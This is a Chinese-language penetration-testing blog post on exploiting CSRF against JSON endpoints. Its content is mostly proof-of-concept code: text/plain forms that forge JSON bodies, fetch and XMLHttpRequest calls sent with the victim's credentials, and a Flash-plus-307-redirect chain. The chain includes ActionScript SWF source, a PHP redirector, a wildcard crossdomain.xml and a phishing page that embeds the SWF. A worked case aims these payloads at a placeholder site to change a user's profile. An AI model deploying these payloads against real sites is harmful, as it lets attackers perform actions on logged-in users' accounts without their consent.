首页 » NetworkSec » Penetration » 正文

JSON型CSRF攻击方法

原始请求,存在CSRF漏洞

如果后端只是检查格式不检查header,可尝试

<html>
 <body>
  <script src="jquery.min.js"></script>
<form id="myform" enctype="text/plain" action="https://xxx.com/apps/member/up_member_info" method="POST">
   <input id="json" type="hidden" name='json' value='changenick"}'>
  </form>
<script>
  $(document).ready(function() {
 $("#json").attr("name",'{"name":"');
  $("#myform").submit();
  });
 </script>
</body>
</html>

增加ignore_me参数可去掉多出的等号:

<form action="https://xxxx.com/apps/member/up_member_info" method="post" enctype="text/plain">

  <p>Last name: <input type="text" name='{"name":"changenick6","ignore_me":"' value='test"}'type='hidden'></p>

  <input type="submit" value="Submit" />
</form>

或者把value置空:

<html>
 <body>
  <script src="jquery.min.js"></script>
<form id="myform" enctype="text/plain" action="https://xxx.com/apps/member/up_member_info" method="POST">
   <input id="json" type="hidden" name='json' value=''>
  </form>
<script>
  $(document).ready(function() {
 $("#json").attr("name",'{"name":"changenick"}');
  $("#myform").submit();
  });
 </script>
</body>
</html>

利用fetch发请求:

<html>
<title>JSON CSRF POC</title>
<body>
<center>
<h1> JSON CSRF POC </h1>
<script>
fetch('https://xxx.com/apps/member/up_member_info';, {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"username":"test0001"}'});
</script>
<form action="#">
<input type="button" value="Submit" />
</form>
</center>
</body>
</html>

 

利用xmlhttprequest发请求,要配合跨域漏洞

<html>
<script language="javascript" type="text/javascript">
function jsonreq()
{
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST","https://xxx.com/apps/member/up_member_info",true);
xmlhttp.setRequestHeader("Content-Type","application/json;charset=UTF-8");
xmlhttp.withCredentials = true
xmlhttp.send(JSON.stringify({"name":"changenick02"}));;
}
jsonreq();
</script>
</html>

   

 

如果后端检查了header,尝试flash+307

  1. Flash可以携带请求头和请求参数向重定向器(307)发出请求。
  2. 重定向器向目标页面发出CSRF攻击请求(携带请求头和请求参数,X-Requested-With:flash)。
  3. Flash再向目标站请求crossdomain.xml,但是此前攻击请求已发出。

准备道具:
服务器,恶意flash文件,307页面文件,crossdomain.xml(可选)

crossdomain.xml:

<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>

用来允许flash向攻击者服务器请求307页面。

//如果flash文件和307页面在同一个域名下,就不需要crossdomain文件

重定向307的PHP文件:

<?php
// redirect automatically
header("Location: https://victim.com/user/endpoint/";, true, 307);
?>

 

实战案例:

环境:win7+Chrome79.0.3945.79+flash32.0.0.303

没有csrf防御,但是为json格式

先利用普通的form响应500,表明后端可能检验了content-type头。

尝试使用xhr

发option预检请求

意料之内无法通过(除非有xss配合,xsrf!)

 

构造钓鱼页面(利用embed加载flash):

<html>
<head></head>
<body>
<embed height="600" width="900" src="test.swf" type="application/x-shockwave-flash" ></embed>
</body>
</html>

加载test.swf,执行307重定向。

test.swf:

package
{
   import flash.display.Sprite;
   import flash.net.URLLoader;
   import flash.net.URLRequest;
   import flash.net.URLRequestHeader;
   import flash.net.URLRequestMethod;
   
   public class re extends Sprite
   {
       
      
      public function re()
      {
         var member1:Object = null;
         var myJson:String = null;
         Wonderfl.capture(stage);
         super();
         Wonderfl.capture(stage);
         member1 = new Object();
         member1 = {"name":"changenick04"};
         var myData:Object = member1;
         myJson = JSON.stringify(myData);
         myJson = JSON.stringify(myData);
         var url:String = "http://192.168.110.103:8999/csrf/csrf2json/307.php";
         var request:URLRequest = new URLRequest(url);
         request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
         request.data = myJson;
         request.method = URLRequestMethod.POST;
         var urlLoader:URLLoader = new URLLoader();
         try
         {
            urlLoader.load(request);
            return;
         }
         catch(e:Error)
         {
            trace(e);
            return;
         }
      }
   }
}

307.php:

<?php
header("Location: https://xxx.com/apps/member/up_member_info",true,307);
?>

    

 

最后再请求目标网站的crossdomain.xml,但是恶意请求(修改昵称……)已发出

 

整体请求流程:

 

也可以利用poc快速测试:https://github.com/sp1d3r/swf_json_csrf

 

Flash的Header存在一个黑名单,黑名单列表的头不允许设置,不能设置的头标如下:

Accept-Charset、Accept-Encoding、Accept-Ranges、Age、Allow、Allowed、Authorization、Charge-To、Connect、Connection、Content-Length、Content-Location、Content-Range、Cookie、Date、Delete、ETag、Expect、Get、Head、Host、Keep-Alive、Last-Modified、Location、Max-Forwards、Options、Post、Proxy-Authenticate、Proxy-Authorization、Proxy-Connection、Public、Put、Range、Referer、Request-Range、Retry-After、Server、TE、Trace、Trailer、Transfer-Encoding、Upgrade、URI、User-Agent、Vary、Via、Warning、WWW-Authenticate 和 x-flash-version。

貌似在一些资料上看到:

flash已经修复跨域设置自定义header的问题?

新版本flash已修复在crossdomain.xml前发请求?

 

参考资料:

https://thehackerblog.com/crossdomain/

https://blog.cm2.pw/forging-content-type-header-with-flash/

https://security.stackexchange.com/questions/10227/csrf-with-json-post

https://security.stackexchange.com/questions/170477/csrf-with-json-post-when-content-type-must-be-application-json

https://bbs.pediy.com/thread-221693.htm

https://www.freebuf.com/articles/web/164234.html

https://hackerone.com/reports/44146

https://hackerone.com/reports/245346

http://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/

https://www.freebuf.com/articles/web/206407.html

 

Comment

please input captcha *